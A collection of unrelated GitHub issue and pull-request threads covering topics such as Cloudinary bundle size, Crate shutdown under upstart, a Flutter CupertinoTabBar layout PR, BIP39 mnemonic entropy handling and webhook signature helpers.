I've opened a PR at #136 meanwhile as an attempt to selectively require lodash.. to be honest, the amount of bytes saved is not as impressive as expected.. the final user build when doing selective import is smaller than importing all of lodash, but shrinkwrap version are somehow still smaller..

@tocker is there any updates on the es, non coffee-script version? Currently cloudinary is a pretty huge part of our application bundle.

@sakulstra We are porting the code from CoffeeScript to JS.

is there any progress on this? Cloudinary takes 11% of our bundle size, 66% of which is from Lodash.


No graceful-stop possible - an upstart problem with Ubuntu 14.04?

Hello,
while trying to upgrade my test-cluster from 0.50.5 to 0.50.6 I experienced a problem. The corresponding documentation is the "Best Practice" documentation for "Zero Downtime Upgrades".
It seems that you can't use the documented "graceful-stop" command with Ubuntu 14.04 and its upstart init system.
Every time I try the "graceful-stop" I get the following error:

That document also states that one can use a 'kill -USR2' on the PID of the running crate instance. But it seems that crate will restart the instance immediately after because of the "respawn" policy defined in the upstart script.
Is there any way to solve this - maybe by patching the file /etc/init/crate.conf (the actual upstart script for crate)?
Best regards,
Bernhard J. M. Grün

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/26706048-no-graceful-stop-possible-an-upstart-problem-with-ubuntu-14-04?utm_campaign=plugin&utm_content=tracker%2F505659&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F505659&utm_medium=issues&utm_source=github).

I came across exactly the same problem earlier today with Ubuntu 14.04. I first tried graceful-stop, but I also got the same warning. -USR2 seems to do the trick but it also restarts the server immidiately, which seems to make graceful stop useless.

Hi, thanks for noticing, unfortunately Ubuntu seems to prefer to use upstart over sysinit, hence the script in /etc/init.d/ points to upstart, which does not support our graceful-stop command.
$ ls -l /etc/init.d/crate
lrwxrwxrwx 1 root root 21 Sep 15 05:33 /etc/init.d/crate -> /lib/init/upstart-job

We will be looking into this, for now you can use debian's sysinit script and remove crate from upstart.
Cheers, Claus


jsmall buggy dataset bounds

If you create a 2d data renderer (barb, wireframe, and 2DData) in jsmall, the domain is moved up. When you add a 3d renderer the domain is fixed.
Also, notice that the the image and 2D renderers are at different heights.

So this is not a bug specific to jsmall but it is only very noticeable because of its short Z axis. The default location to place a 2D renderer, “Default Z”, is at the bottom of the bounding box of the first 3D variable. When you query DataStatus::GetActiveExtents (assuming 1 dataset for simplicity) it returns the bounds of the union of the active variables, or the bounds of the first 3D variable if there are none. In this case, when you have no renderers enabled, it shows the correct bounds since it takes the bounds of the first 3D variable. Once you enable the 2D renderer, however, it computes the bounds based on the 2D variable’s 2D bounds and then sets the Z bounds to a default 0 to 1, which is just above the dataset’s -1 to 0 bounds. One solution is instead of setting the default Z from 0 to 1, set it to the 2D renderer “Default Z”. Another solution is to always compute the bounds using 3D variables, unless there are none available.
I chose to go with option 1 because that is closest to our current behavior so it is more of a “bug fix” than a functionality change however I think that option 2 is better. DataStatus::_getExtents always returns a 3D vector so I implemented it here.


Privacy policy

I would use this, but am concerned that you do not have a privacy policy.
If you had a privacy policy that says you would not access web data except the data in the tabs, then I would definitely use this.
Thanks
Arthur

Same.
You should at least indicate on the Chrome Webstore whether or not you collect any information.

FYI, I poked through the code, and I don't see anything too upsetting.
It is using Google Analytics, which means it will send personally identifiable information to Google. It does not appear to be tracking anything sensitive though, just basic information about the buttons and menus you use - nothing attached to those records with any sort of information about you or your data.
I don't personally care about that, but if you hate Google, you probably don't want to use this.
And it should definitely be indicated in the Chrome Webstore.


cartesian: Fix #99 (GTScript reference chapter)

Description
Draft a GTScript reference chapter for cartesian v1.0 docs. Addresses #99 .
Requirements
Before submitting this PR, please make sure:

[x] You have run the code checks, tests and documentation build successfully
[x] All fixes and all new functionality are tested and documentation is up to date
[x] You looked at the review checklist

Additionally, if this PR contains code authored by new contributors:

[x] All the authors are covered by a valid contributor assignment agreement,
signed by the employer if needed, provided to ETH Zurich
[x] The names of all the new contributors have been added to an updated
version of the AUTHORS.rst file included in the PR

@jdahm  Is this the direction you had in mind when you included this in the "v1.0 Release" milestone?

Yeah this looks great. I'll incorporate it into #1088.


[version 3.4] Linker scripts do not define _end correctly

In version 3.4, The various sample linker scripts do not define _end correctly or consistently. This breaks code using this symbol, such as the common malloc implementation. This has been fixed upstream in #57727 which should be backported.

Hey @keith-packard, 3.4 has been unsupported for a while, closing this down.


Fix activity navigation with correct flags

Added Intent.FLAG_ACTIVITY_CLEAR_TOP to avoid duplicate launch of MyCourses screen.

:+1:


Heatmap Layer support

Do you have any plans to add a component for the Heatmap Layer?

Hey @JoseGoncalves
Can't say I have plans for that at the moment. There are a couple of other issues that I'd like to prioritize when I have some free time.
If someone wants to take a stab at a PR I'll be happy to provide support. Otherwise will look into this when I'm done with the higher priority items on my list.

No TS skills here, so I'll not be capable of doing a PR... I'm going to add that support in JS for my current needs and (eagerly) wait for a proper implementation from your side...

Hi @JoseGoncalves, did you get this working using the package (accessing some underlying component/reference) or through the plain vanilla JS implementation?

Hi @chemeng, still did not hat time to address this... nevertheless, my idea is simply to use the Advanced Usage third pattern as a base to initialize and use the Google's Heatmap Layer.

@HusamIbrahim Any idea when you'll have time to implement this feature?

Hello @JoseGoncalves
Apologies for the late response. Things were quite busy at work and in my personal life these last couple of weeks. I'll take a stab at this soon hopefully.

Added in v0.14.0. Documentation to be added soon but basic syntax is:
  <GoogleMap
    api-key="API_KEY"
    :libraries="['visualization']"
    style="width: 100%; height: 500px"
    :center="center"
  >
    <HeatmapLayer :options="{ data: heatmapData }" />
  </GoogleMap>

Note that for convenience you can pass an array of plain lat/lng object literals instead of LatLng class instances (you can pass those too or mix object literals with LatLng instances in the data array if you wish).
Let me know if you notice any bugs.

Hi @HusamIbrahim. Thanks, I'll test that in the next week.

Hi @HusamIbrahim. I've tested this and, while it's working, I get some warnings on the browser console:

You can check a demo project were these warnings occur at:

https://github.com/JoseGoncalves/vue-google-maps/tree/heatmap

Thanks for reporting @JoseGoncalves. Will look into it.
Feel free to create an issue if you wish.

Fixed in v0.14.1

Got it, makes sense. Will probably try the same thing in the next few days.
On Jun 6, 2022, at 11:34 AM, José Miguel Gonçalves<EMAIL_ADDRESS>wrote:
Hi @chemenghttps://github.com/chemeng, still did not hat time to address this... nevertheless, my idea is simply to use the Advanced Usagehttps://vue3-google-map.netlify.app/advanced-usage/ third pattern as a base to initialize and use the Google's Heatmap Layerhttps://developers.google.com/maps/documentation/javascript/heatmaplayer.
—
Reply to this email directly, view it on GitHubhttps://github.com/inocan-group/vue3-google-map/issues/76#issuecomment-1147192193, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AAJ2XGPQQHRN6E2JANUQYX3VNWZ3FANCNFSM5W4M3RNQ.
You are receiving this because you were mentioned.Message ID: @.***>

Yes, thank you, we've started using it.


[WIP] Adds wide/compact modes to CupertinoTabBar (fixes #38194)

Description
This PR adds some functionality to CupertinoTabBar: it is now possible to make the tab bar appear with wide icons (iPad) as well as wide-compact (landscape iPhone) by setting the isWide and isCompact properties in its constructor.
A few other properties related to icon size have been added, as well as providing and adjusting the required font sizes.
Related Issues
Fixes #38194
Tests
Added tests:

Compact flag takes effect only when the wide flag is active as well

Updated tests:

Adjusts height to account for bottom padding

Checklist

[x] I read the [Contributor Guide] and followed the process outlined there for submitting PRs.
[x] I signed the [CLA].
[x] I read and followed the [Flutter Style Guide], including [Features we expect every widget to implement].
[ ] I updated/added relevant documentation (doc comments with ///).
[ ] All existing and new tests are passing.
[ ] The analyzer (flutter analyze --flutter-repo) does not report any problems on my PR.
[x] I am willing to follow-up on review comments in a timely manner.

Breaking Change
Does your PR require Flutter developers to manually update their apps to accommodate your change?

[ ] No, this is not a breaking change.

Example implementation
What this does, is checking whether the device is a tablet or a phone in landscape mode, and showing wide icons in those cases.
Also, in the latter case, the tab bar is also shown as "compact" (with height reduced to 32.0, as per Apple guidelines).
Resources:
const bool isTablet = MediaQuery.of(context).size.shortestSide >= 600;

...

CupertinoApp(
  title: 'Cupertino demo',
  theme: CupertinoThemeData(),
  home: OrientationBuilder(
    builder: (context, orientation) => CupertinoTabScaffold(
      tabBar: CupertinoTabBar(
        backgroundColor: CupertinoColors.white,
        isWide: orientation == Orientation.landscape || isTablet ? true : false,
        isCompact: orientation == Orientation.landscape && isTablet ? true : false,
        items: [
          BottomNavigationBarItem(
            icon: Icon(CupertinoIcons.time_solid),
            title: Text('Tab 1')
          ),
          BottomNavigationBarItem(
            icon: Icon(CupertinoIcons.bookmark_solid),
            title: Text('Tab 2')
          ),
        ],
      ),

      ...

    ),
  ),
)

Sources:

https://developer.apple.com/documentation/uikit/uitabbar
https://developer.apple.com/design/human-interface-guidelines/ios/icons-and-images/custom-icons/
https://developer.apple.com/documentation/uikit/uitabbar/1623468-itempositioning
https://ivomynttinen.com/blog/ios-design-guidelines

Should be done, can I request someone to review the PR? (cc @LongCatIsLooong @xter)

For future reference I did some test on iOS 13 beta 5 simulators and compiled a chart. The metrics from iPad Air are very similar to iPad Pro so I omitted them. If the device has a non-zero bottom safe area inset in that device orientation, its tab bar height is notated in the form of total tab bar height ( tab bar item height + diff).
The test icon apparently wasn't the best for the sake of measurement but the numbers are pretty consistent across devices and size classes:

Value (in pt) \ Device & size class
iPhone Xr portrait   w: C h: R
iPhone Xr landscape  w: R h: C
iPhone 8+ portrait   w: C h: R
iPhone 8+ landscape  w: R h: C
iPad Pro 12.9" portrait   w: R h: R
iPad Pro 12.9" landscape  w: R h: R

icon text stack layout
vertical
horizontal
vertical
horizontal
horizontal
horizontal

tab bar height
83 (48 + 35)
70 (48 + 22)
49
49
65 (49 + 6)
65 (49 + 6)

Icon size
27.5
27.5
27.33
27.33
27.5
27.5

font size
10
13
10
13
13
13

Value (in pt) \ Device & size class
iPhone SE portrait  w: C h: R
iPhone SE landscape  w: C h: C
iPhone 8 portrait  w: C h: R
iPhone 8 landscape  w: C h: C

icon text stack layout
vertical
horizontal
vertical
horizontal

tab bar height
49
32
49
32

Icon size
27.5
21
27.5
21

font size
10
12
10
12

tl;dr:

the font size only shrinks when the size class is Compact x Regular.
the icon size only shrinks when the size class is Compact x Compact.
the stack layout only becomes vertical when the size class is Compact x Regular (i.e. font size shrinks when the stack layout becomes vertical).

@LongCatIsLooong Thank you, I'll take a deeper look at this today and get back to you afterwards

Can I continue based on this?

I've been on a bit of a partial hiatus, but I'm back to work on this!
I'll go on implementing the automatic shape detection based on the parameters kindly provided by @LongCatIsLooong, and we'll see where we can go from there, feature-wise

@LongCatIsLooong Is there a default way of telling which size class the app is running on, or should I hack together a utility class for this?

I continued @LongCatIsLooong's investigation on size classes, the tabbar appearance and such, and I found some pretty interesting things.
https://docs.google.com/spreadsheets/d/13qx8B_S7RCkMPZNYAg-xTTxM-yJMgHUMd2bIcz70cN0/edit?usp=sharing
Initially I was inclined to think it'd be either tied to height class, logical height or that the physical limit would be 1000, but that would be incorrect for a bunch of reasons:

All iPhones/iPods always have a compact height class while in landscape, yet some of them display the tabbar as regular in landscape
While 11 Pro, X, Xs are 375 logical pixels tall, they still display the tabbar as regular in landscape
11 and Xr are above 400 logical pixels, but under 1000 physical pixels; tabbar still regular in landscape

This led me to believe that whether the navbar is compact or not, is explicitly based on the resolution, meaning that the tabbar's height is compact when the physical pixel height is < 800 (with height being relative to device's orientation)

Should users be able to decide whether the tab bar and its items appear in a specific way, or do we force it to automatic? It doesn't seem possible in UIKit, all the users can do is customize text/colors in one of the 3 modes (called respectively: stacked, inline, compactInline)

@LongCatIsLooong What do you propose to do about CupertinoSizeClass?
Also, I ran into a major roadblock in testing: as it is now, I am unable to mock the "automatic detection, landscape iPhone 8" scenario since the bar's height in build is based on preferredSize... which is determined by window's physical height, not the one given by the MediaQuery (which can be easily mocked).
Is it possible to mock the window size somehow? I will keep looking into it, but if you have any suggestions regarding this, please do let me know

The regression test "Adding new tabs does not crash the app" for #33455 fails, because it does not account for the possibility of horizontally laid out items, causing the test to fail.
During the test the CupertinoTabBar is picking its layout automatically, with a physical screen size of 0x0 pixels, leading to a decision of CxH (respectively bar and item layouts).
...
════════════════════════════════════════════════════════════════════════════════════════════════════
══╡ EXCEPTION CAUGHT BY RENDERING LIBRARY ╞═════════════════════════════════════════════════════════
The following assertion was thrown during layout:
A RenderFlex overflowed by 57 pixels on the right.

The overflowing RenderFlex has an orientation of Axis.horizontal.
The edge of the RenderFlex that is overflowing has been marked in the rendering with a yellow and
black striped pattern. This is usually caused by the contents being too big for the RenderFlex.
Consider applying a flex factor (e.g. using an Expanded widget) to force the children of the
RenderFlex to fit within the available space instead of being sized to their natural size.
This is considered an error condition because it indicates that there is content that cannot be
seen. If the content is legitimately bigger than the available space, consider clipping it with a
ClipRect widget before putting it in the flex, or using a scrollable container rather than a Flex,
like a ListView.
The specific RenderFlex in question is: RenderFlex#6dc4b relayoutBoundary=up12 OVERFLOWING:
  creator: Row ← Padding ← _PointerListener ← Listener ← _GestureSemantics ← RawGestureDetector ←
    GestureDetector ← Semantics ← Expanded ← DefaultTextStyle ← Builder ← IconTheme ← ⋯
  parentData: offset=Offset(0.0, 0.0) (can use size)
  constraints: BoxConstraints(w=40.0, 0.0<=h<=45.0)
  size: Size(40.0, 21.0)
  direction: horizontal
  mainAxisAlignment: center
  mainAxisSize: max
  crossAxisAlignment: center
  textDirection: ltr
  verticalDirection: down
◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤◢◤
══╡ EXCEPTION CAUGHT BY FLUTTER TEST FRAMEWORK ╞════════════════════════════════════════════════════
The following TestFailure object was thrown running a test:
  Expected: [0, 0, 18]
  Actual: [0, 0, 19]
   Which: was <19> instead of <18> at location [2]

When the exception was thrown, this was the stack:
#4      main.<anonymous closure> (file:///Users/mrgame64/Library/Developer/Flutter/packages/flutter/test/cupertino/tab_scaffold_test.dart:634:5)
<asynchronous suspension>
#5      testWidgets.<anonymous closure>.<anonymous closure> (package:flutter_test/src/widget_tester.dart:124:25)
#6      TestWidgetsFlutterBinding._runTestBody (package:flutter_test/src/binding.dart:699:19)
<asynchronous suspension>
#9      TestWidgetsFlutterBinding._runTest (package:flutter_test/src/binding.dart:679:14)
#10     AutomatedTestWidgetsFlutterBinding.runTest.<anonymous closure> (package:flutter_test/src/binding.dart:1079:24)
#16     AutomatedTestWidgetsFlutterBinding.runTest (package:flutter_test/src/binding.dart:1076:15)
#17     testWidgets.<anonymous closure> (package:flutter_test/src/widget_tester.dart:121:22)
#18     Declarer.test.<anonymous closure>.<anonymous closure>.<anonymous closure> (package:test_api/src/backend/declarer.dart:171:27)
<asynchronous suspension>
#19     Invoker.waitForOutstandingCallbacks.<anonymous closure> (package:test_api/src/backend/invoker.dart:242:15)
#24     Invoker.waitForOutstandingCallbacks (package:test_api/src/backend/invoker.dart:239:5)
#25     Declarer.test.<anonymous closure>.<anonymous closure> (package:test_api/src/backend/declarer.dart:169:33)
#30     Declarer.test.<anonymous closure> (package:test_api/src/backend/declarer.dart:168:13)
#31     Invoker._onRun.<anonymous closure>.<anonymous closure>.<anonymous closure>.<anonymous closure> (package:test_api/src/backend/invoker.dart:392:25)
#45     _Timer._runTimers (dart:isolate-patch/timer_impl.dart:384:19)
#46     _Timer._handleMessage (dart:isolate-patch/timer_impl.dart:418:5)
#47     _RawReceivePortImpl._handleMessage (dart:isolate-patch/isolate_patch.dart:174:12)
(elided 28 frames from class _FakeAsync, package dart:async, package dart:async-patch, and package stack_trace)

This was caught by the test expectation on the following line:
  file:///Users/mrgame64/Library/Developer/Flutter/packages/flutter/test/cupertino/tab_scaffold_test.dart line 634
The test description was:
  Adding new tabs does not crash the app
════════════════════════════════════════════════════════════════════════════════════════════════════
══╡ EXCEPTION CAUGHT BY FLUTTER TEST FRAMEWORK ╞════════════════════════════════════════════════════
The following message was thrown:
Multiple exceptions (41) were detected during the running of the current test, and at least one was
unexpected.

...

@LongCatIsLooong Why is the number of painted tabs specifically 18?
Also, is it okay to force the layout to represent its "classic" layout (RxV) for the purpose of this test? Or should the CupertinoTabBar's automatic layout detection code altered to default to RxV in mock scenarios?

I appreciate all of the work that you and @LongCatIsLooong have put into this PR over more than 5 months now! To get the PR landed, we're going to need to reduce it's scope per https://github.com/flutter/flutter/pull/39258#pullrequestreview-331601029.
Automatically applying tab and tab bar layout changes is a breaking change and working such a change through the system - assuming it was accepted - could take months more. Please try and find the minimal set of additional CupertinoTabBar parameters that would enable apps to configure the tab bar according to the spreadsheet you created.  Something like (just) an additional compact parameter, and a parameter to request vertical layout for the tabs. Support for applying the configuration automatically would have to be provided by a separate package for now.

If I remember it correctly all the numbers in the test were pretty much randomly chosen. But I'm not sure how did the physical screen size become 0x0, usually in a widget test its 800x600.

Also as @HansMuller pointed out, automatically determining the layout is going to be a breaking change (see this section of the wiki). To avoid breaking existing code bases I think a good strategy would be separating the automatic layout deciding logic from this pull request, and expose the necessary parameters to allow developers to control the layout.

Hi @kerberjg, in our effort to reduce open pull requests, I'm going to close this pull request. Feel free to reopen it when you would like to start working on this again!


teams/hidden: don't ask for or digest hidden links for FTL parent load

we had two bugs, first on the server side, the flagging system doesn't really work for parent teams needed for subteam reader checks
second, the seedcheck can't possibly work if you don't have the seeds, so don't bother to check it.
some todos are mentioned

@mmaxim  / @joshblum this should solve the ecsbot issue

great, i'll make a docker build and try it out on the managed bots


Composer 2.0 Deprecation Notice

Hi, @coroo
First of all, thanks for sharing us this great package!
During nova-carousel installation I received the messages below:
Deprecation Notice: Class Coroowicaksono\NovaCarousel\Api\ThrowError located in ./vendor/coroowicaksono/nova-carousel/src/api/ThrowError.php does not comply with psr-4 autoloading standard. It will not autoload anymore in Composer v2.0. in phar:///usr/local/bin/composer/src/Composer/Autoload/ClassMapGenerator.php:201
Deprecation Notice: Class Coroowicaksono\NovaCarousel\Api\TotalRecordsController located in ./vendor/coroowicaksono/nova-carousel/src/api/TotalRecordsController.php does not comply with psr-4 autoloading standard. It will not autoload anymore in Composer v2.0. in phar:///usr/local/bin/composer/src/Composer/Autoload/ClassMapGenerator.php:201
Deprecation Notice: Class Coroowicaksono\NovaCarousel\Api\TotalCircleController located in ./vendor/coroowicaksono/nova-carousel/src/api/TotalCircleController.php does not comply with psr-4 autoloading standard. It will not autoload anymore in Composer v2.0. in phar:///usr/local/bin/composer/src/Composer/Autoload/ClassMapGenerator.php:201
This is happening because 'api' directory needs to be 'Api'.
Best Regards,

hi @newtongamajr , thank you for the feedback and insight.
I already add Api instead api in v0.0.6
Regards,


can i avoid "data" keyword from included data?

i using DataArraySerializer
i have a transformer called as UserTransformer. and it combine two models User and Profile
my output look like
{
    "data": {
        "id": 1,
        "username": "username",
        "profile": {
            "data": {
                "id": 1,
                "firstname": "jhon"
            }
        }
    }
}

but, i want look like
{
    "data": {
        "id": 1,
        "username": "username",
        "profile": {
            "id": 1,
            "firstname": "jhon"
        }
    }
}

https://github.com/dingo/api/issues/352
use ArraySerializer maybe work for you.


[admin] (TOC links) Adjust CF quick start link and add items yml

This changes the TOC to focus on the CF section when the CF quickstart is selected, as opposed to focusing on the overall uick start section.
It also corrects the TOC to not show errors in VSCode.

Docs Build status updates of commit 3733221:
:warning: Validation status: warnings

File
Status
Preview URL
Details

:warning:Warning

Details

docs/toc.yml
:white_check_mark:Succeeded
View

[Warning-RepositoryOwnerPermissionInsufficient] Owner davidchesnut of repository https://github.com/OfficeDev/office-js-docs-pr has lost Admin permission. Please use Transfer Owner via Docs portal https://ops.microsoft.com to assign a new owner.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel

FYI, The rebuild has succeeded. Please ignore that warning.


Keep-alive for widgets in lazy lists

cc @cbracken for review

Updated per comments. Will land on green unless I hear otherwise.


chore: rename marvion to gamer

Summary

The marvion command can replace the gamer command.
Information

[ ] This PR fixes an issue.
[ ] This PR adds something new (e.g. new method or parameters).
[x] This PR is a breaking change (e.g. methods or parameters removed/renamed).
[ ] This PR is not a code change (e.g. documentation, README, examples, ...).

Checklist

[x] I have searched the open pull requests for duplicates.
[x] If code changes were made then they have been tested.

has this been merged? if not why?

has this been merged? if not why?
It's up to marvion to approve it.


Add pre_ss to hqderingmod

Like fine_dehalo and others, it might also be beneficial to be able to supersample before you run any filtering for hqderingmod.

Moved this to #12


Deploy workflow

Proposed changes
Sets up the workflow for deploying DBSC (i.e. create release & push docker container). Also adds in some badges (e.g. Python version supported, etc.) - some of these won't work until a release is actually created. Would also like to a zenodo badge once released.
Ideally we would have a name determined before releasing.
Resolves #5 and #6.
Types of changes
What types of changes does your code introduce? Put an x in the boxes that apply

[ ] Bugfix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionalitiy)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[x] Other (if none of the other choices apply)

Checklist
Put an x in the boxes that apply. You can also fill these out after creating the PR. If you are unsure about any of the choices, don't hesitate to ask!

[ ] Changes have been tested to ensure that fix is effective or that a feature works.
[ ] Changes pass the unit tests
[ ] Code has been run through the poe quality task
[ ] I have included necessary documentation or comments (as necessary)
[ ] Any dependent changes have been merged and published

Notes
All PRs will undergo the unit testing before being reviewed. You may be requested to explain or make additional changes before the PR is accepted.

This PR should be reviewed + merged prior to release.

Needs a merge from rename-package


Add kustomization.yaml file for CRDs

This enables downstream projects to consume MCAD CRDs directly with Kustomize, for instance project-codeflare/codeflare-operator#116.

/cc @sutaakar @anishasthana

/lgtm just did a kustomize build on my machine and it seems to work correctly


using wasm with Nuxt3

I am trying to use a wasm with Nuxt3 but it keeps failing...anyone that can help me with configuration?
nuxt.config.ts
import wasm from 'vite-plugin-wasm';

export default defineNuxtConfig({
    vite: {
        plugins: [
            wasm()
        ]
    }
})

Any reproduce?

Hi @Menci, here you go...
https://github.com/cesarecaoduro/nuxt-occ

Found a sample for you to use it with Vite. Note that you don't need this plugin.
https://github.com/donalffons/opencascade.js/pull/141/files#diff-881623410b5b8961b0a239ca26372de6ac76895634a7331256117145896fa250R52


How to Add @hasmany using APIService method

Amplify CLI Version
12.1.1
Question
Hello:
I am creating a variation of the classic To Do application, using a list of available ActionModels that can be part of part of one or more Checklists. While technically many-to-many, I only care relationship between the Checklist and ActionModels so I am defining a one-to-many relationship (see below).
type ActionModel @model @auth(rules: [{ allow: private }]){
  id: ID!
  company: ID
  name: String
  status: String
  notes: String
  duration: Int
}

type Checklist @model @auth(rules: [{ allow: private }]){
  id: ID!
  company: ID
  owner: String @hasOne
  steps: [ActionModel] @hasMany
  start: AWSDate
  end: AWSDate
}

In the UI, I create an ordered list of actions, and want then to save that list (i.e., array) in the steps field. My question is: how do I add steps to the Checklist using the Amplify Javascript libraries created by codegen? I've read the documentation here. Do I need to create a backward link to the parent table? Or is it the leading practice to use the @belongsTo directive instead?
Thanks in advance, Ian.

Hey @desert-digital, Thank you for bringing up this issue. The choice between uni-directional and bi-directional relationships depends on your specific use case. If you need to fetch the Checklist Model along with the Action model when performing a get or list query, using a bi-directional relationship is recommended to avoid multiple fetch calls. However, if that is not a requirement, you can opt for a uni-directional relationship.

@AnilMaktala: thanks so much for the reply.
So, if I understand the documentation correctly, I need to create the parent object first (i.e., the Checklist), get the ID from that and add it to the newly created ActionModel with object. When I get the Checklist, will the steps member be array of ActionModels?
Cheers...

Hey @desert-digital, Yes, you have understood the documentation correctly. The process involves creating the parent object (Checklist) first and obtaining its ID. Then, you can use this ID to associate the newly created ActionModel with the Checklist as a step.When you retrieve the Checklist, the "steps" member will indeed be an array of ActionModels, representing the actions associated with that Checklist.

Cool. Hopefully this will help some other folks looking for the same information.
Appreciate your guidance @AnilMaktala!


Fixed link for kubernetes extension installation

This PR fixes the link for kubernetes extension, which currently points to [https://code.visualstudio.com/docs/azure/kubernetes] instead of https://code.visualstudio.com/docs/azure/kubernetes#_install-the-kubernetes-extension
Changes made to : content/en/docs/CRDs/index.md

[] I have read the contributing guidelines.
[] I have inspected the website preview for accuracy.
[] I have signed off my issue.

@realshuting / @MariamFahmy98 can you please review this PR?

Thanks for the fix @12rashic !


checksum not standard from - say bitcore

reproduce:

make a hex entropy of 256bits  (64 chars) and note the 24 words
delete the final digit of entropy  and add a different digit and note the 24 words

In case 1 and 2 the words are COMPLETELY different.  but if you look at the bip 39 spec.  and you look at a reference implementation of, say, Bitcore,  you'll see very clearly that the checksum hash, first 8 bits are added to the END of the entropy.  That means the first 22 words (those in the 1st 253 bits) should stay exactly the same.    Why is your implementation different than this???  Or what am I missing.  Ive gone so far as to examine the code of Bitcore and I can clearly see that the sha 1st 8 bits are added to the END of the entropy and that the entropy itself is used in order of the string from beginning to end to create 11 bit words - therefore all the words should NOT change just because you swap out the last digit (bits 252-255) of the entropy.   Yes, the hash changes - but the hash is used only to add the first 8 bits of it to the end of the entropy.   The 1st 252 bits and therefore 1st 22 words (22 * 11 is less than 252 bits)  should not change.
Solved:  I believe you simply take a different hash of the raw entropy to create a new entropy before you continue with checksum and word creation.

In an ideal world,  I would be able to create words just from looking at the bip39 spec. and coding any implementation of it.  Then I would be able to copy them into any checker, and it would not say "invalid mnemonic".  So the logical assumption, is that I am missing something.   Perhaps shedding light on your checksum and entropy implementation will help.  Thanks.

That means the first 22 words (those in the 1st 253 bits) should stay exactly the same

Select 'Use raw entropy' for the Mnemonic Length dropdown. This will give the behaviour you're expecting.
If you select '24 Words' from the dropdown the entropy will be hashed before being converted to a mnemonic, giving the 'unexpected' behaviour you've described. This option is given so that 'too much' or 'too little' entropy will always result in 24 words (or 12 words or 15 etc...). A lot of discussion about the entropy feature (including the reason for the 'unexpected' behaviour) is in https://github.com/iancoleman/bip39/issues/21 and https://github.com/iancoleman/bip39/issues/33.

if the raw entropy was not too random, then they can brute force
could be some sort of bip in an attempt to protect not truly random generated entropies
etc

Don't use entropy that's 'not too random' or 'not truly random'; use proper randomness for entropy. Don't try to reinvent 'some sort of bip'; follow standard practices. Read the warning on the page about entropy and randomness. BIP39 and BIP32 allow as much (or as little) entropy required for bitcoin keys.

The bip might describe a protective measure of randomizing, reprodubile only with yet another password

Use the BIP39 Passphrase field. Extra passphrase fields are unnecessary if this field is used correctly.


Expose sign and verify methods

I needed a way to easily generate/verify the webhook signature for some proper integration tests in @probot. This exposes a sign and verify method on the webhook handler that can be used to generate and verify the signatures for the given webhook secret.
Usage:
const createHandler = require('github-webhook-handler')
const handler = createHandler({ path: '/webhook', secret: 'myhashsecret' })

const sig = handler.sign({foo: 'bar'})
handler.verify(sign, {foo: 'bar'})

Seems reasonable to me—thanks, @bkeepers!
For passersby from google: until we can get this published to npm it can be referenced by commit-ish:
$ npm install --save 'git+ssh://git@github.com:rvagg/github-webhook-handler#62f4590'

sorry for the radio silence folks, my gh notifications are completely broken (swamped) @rjz I've added you to npm on this one too! have at it. feel free to email me if you need my attention on anything fwiw, it's much more effective<EMAIL_ADDRESS>

Thanks @rvagg, totally understood!
@bkeepers, I've released this to npm at v0.7.0.


Options fix

Forcing defaultIntegrations to undefined was causing more harm than good, especially if you wanted to activate a custom list of integrations using that option.

Closing in favour of #34


Bug: Rename rb to rb_client

rb doesn't exist in this function.  It's supposed to be rb_client.

Not sure how this slipped by. CI is definitely needed.


Serious Problem using the FCC IDE, console showing error and check answer

Challenge Waypoint: Using typeof has an issue.
User Agent is: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36.
Please describe how to reproduce this issue, and include links to screenshots if possible.
This is not a challenge-specific error. It shows up for each and every exercise which uses the FCC IDE (waypoints, bonfires, etc) I cleared browser cache, and even restarted my computer

@ryzokuken thanks for posting this issue!
Do you have any errors in your console log?

Please review the Guidelines for Contributing, thank you!.

Thats a relief, @bugron . Although, it seems queer to me that it happens only to me and not to anyone else.
P.S. You were right, there were things being logged into the console, it might be the key to what exactly is going wrong.
Here you go:

Duplicate of https://github.com/FreeCodeCamp/FreeCodeCamp/issues/5999
@ryzokuken Feel free to look into the linked issue.
Closing for now.


Add optional cancellation tokens again in DurableTaskClient

Between tags 1.1.1. and 1.2.0 (https://github.com/microsoft/durabletask-dotnet/compare/v1.1.1...v1.2.0#diff-c7a6ad429a79519f6c23e141c7d033c7066d66ef34af21302c877fbdd62171c7R373), we made several changes to DurableTaskClient that unfortunately changed regressed some behavior.
In particular, we made the following 3 changes:

Before
After

public virtual Task TerminateInstanceAsync(string instanceId, object? output = null, CancellationToken cancellation = default)
public virtual Task TerminateInstanceAsync(string instanceId, object? output, CancellationToken cancellation = default)

public virtual Task PurgeInstanceAsync(string instanceId, CancellationToken cancellation = default)
public virtual Task PurgeInstanceAsync(string instanceId, CancellationToken cancellation)

public virtual Task PurgeAllInstancesAsync(PurgeInstancesFilter filter, CancellationToken cancellation = default)
public virtual Task PurgeAllInstancesAsync(PurgeInstancesFilter filter, CancellationToken cancellation)

In other words, we made several previously "optional" parameters mandatory. This caused .NET to start dispatching different implementations for this method, which led to users seeing "method not supported" exceptions, as reported here: https://github.com/microsoft/durabletask-dotnet/issues/282#issuecomment-2114590648
This PR aims to bring back the original interfaces by making those parameters optional again, in hopes to restore the original method dispatch resolution.
Still to be tested.

